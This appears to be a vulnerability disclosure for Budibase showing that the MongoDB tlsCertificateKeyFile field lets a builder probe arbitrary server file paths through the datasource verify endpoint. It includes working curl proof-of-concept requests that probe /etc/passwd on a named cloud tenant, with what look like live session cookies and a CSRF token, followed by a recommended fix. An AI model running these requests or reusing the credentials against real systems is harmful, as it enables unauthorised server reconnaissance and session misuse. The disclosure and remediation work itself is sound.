Budibase: Server Filesystem Existence/Read Oracle via Builder-Controlled MongoDB tlsCertificateKeyFile

Summary

When creating a MongoDB datasource, Budibase passes the tlsCertificateKeyFile and tlsCAFile fields straight to the MongoDB driver as server-side file paths. On Budibase Cloud a customer cannot place files on the server, so these fields only let a builder reference arbitrary absolute paths on the underlying multi-tenant server. When the datasource is verified, the driver performs a real filesystem read of that path, and the error differs by file state, turning /api/datasources/verify into an arbitrary-path existence/read oracle over the whole server filesystem.

Root Cause

packages/server/src/integrations/mongodb.ts passes config.tlsCertificateKeyFile / config.tlsCAFile directly to new MongoClient(config.connectionString, options) as filesystem paths, with no allow-list, no confinement to a certificates directory, and no rejection of absolute / .. paths.

POC

Reproduction — paste each line, press Enter

Line 1 (existing file — proves the file is READ):

curl -s -X POST "https://hasinocompany.budibase.app/api/datasources/verify" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d '{"datasource":{"name":"probe","source":"MONGODB","type":"datasource","config":{"connectionString":"mongodb://127.0.0.1:27017/?tls=true","database":"x","tlsCertificateKeyFile":"/etc/passwd"}}}'

RESPONSE

{"connected":false,"error":"error:0480006C:PEM routines::no start line"}

Line 2 (missing file — path is reflected):

curl -s -X POST "https://hasinocompany.budibase.app/api/datasources/verify" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d '{"datasource":{"name":"probe","source":"MONGODB","type":"datasource","config":{"connectionString":"mongodb://127.0.0.1:27017/?tls=true","database":"x","tlsCertificateKeyFile":"/nonexistent/pentest/xyz"}}}'

RESPONSE

{"connected":false,"error":"ENOENT: no such file or directory, open '/nonexistent/pentest/xyz'"}

Actual output

/etc/passwd               -> {"connected":false,"error":"error:0480006C:PEM routines::no start line"}          (EXISTS, was READ)
/nonexistent/pentest/xyz  -> {"connected":false,"error":"ENOENT: no such file or directory, open '/nonexistent/pentest/xyz'"}   (MISSING, path reflected)

Existing files return a "PEM routines" error (the file was read but is not PEM); missing files return ENOENT ... open '<path>' with the path echoed back. This confirms a real filesystem read at the attacker-chosen absolute path. Confirmed 3/3 separate runs.

Impact

Recommended Fix

1. On managed/Cloud, disallow tlsCertificateKeyFile / tlsCAFile as filesystem paths; accept PEM content and write it to a per-connection temp file under a fixed directory.
2. Reject absolute and .. paths; confine any file reference to an allow-listed certificates directory.
3. Route the MongoDB connection host through the SSRF blacklist, as the REST integration already does.